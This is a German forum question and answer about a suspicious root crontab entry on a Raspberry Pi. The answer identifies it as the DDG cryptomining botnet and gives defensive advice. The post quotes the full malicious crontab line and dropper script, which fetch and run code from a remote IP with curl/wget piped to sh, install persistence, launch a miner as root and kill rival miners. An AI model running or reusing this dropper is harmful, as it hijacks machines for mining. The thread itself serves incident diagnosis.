Verdächtiger Crontab-Eintrag, der alle 15 Minuten 'xribfa4' ausführt

Ich wollte etwas zu meiner Root-Crontab-Datei auf meinem Raspberry Pi hinzufügen und habe einen Eintrag gefunden, der mir verdächtig erscheint. Bei der Suche nach Teilen davon bei Google ist nichts aufgetaucht.

Crontab-Eintrag:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Die Inhalte von http://103.219.112.66:8000/i.shsind:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Mein Linux-Wissen ist begrenzt, aber für mich scheint es nicht üblich zu sein, Binärdateien von einem indonesischen Server herunterzuladen und sie regelmäßig als Root auszuführen.

Was ist das? Was sollte ich tun?

Es ist ein DDG-Mining-Botnetz, wie es funktioniert:

1. Ausnutzen einer RCE-Schwachstelle
2. Ändern der Crontab
3. Herunterladen des entsprechenden Mining-Programms (geschrieben mit go)
4. Starten des Mining-Prozesses

DDG: Ein Mining-Botnet, das auf Datenbankserver abzielt

SystemdMiner, wenn ein Botnetz die Infrastruktur eines anderen Botnetzes ausleiht

U & L: Wie kann ich Minerd-Malware auf einer AWS EC2-Instanz entfernen? (kompromittierter Server)

Stellen Sie fest, welche TCP- und UDP-Ports tatsächlich benötigt werden, und blockieren Sie dann alle anderen Ports in der Firewall Ihres Routers. Möglicherweise werden diese Crontab-Einträge nicht wieder angezeigt.

Mit Shields Up! Können Sie sehen, welche Ports offen und öffentlich sind. Funktion bei grc.com .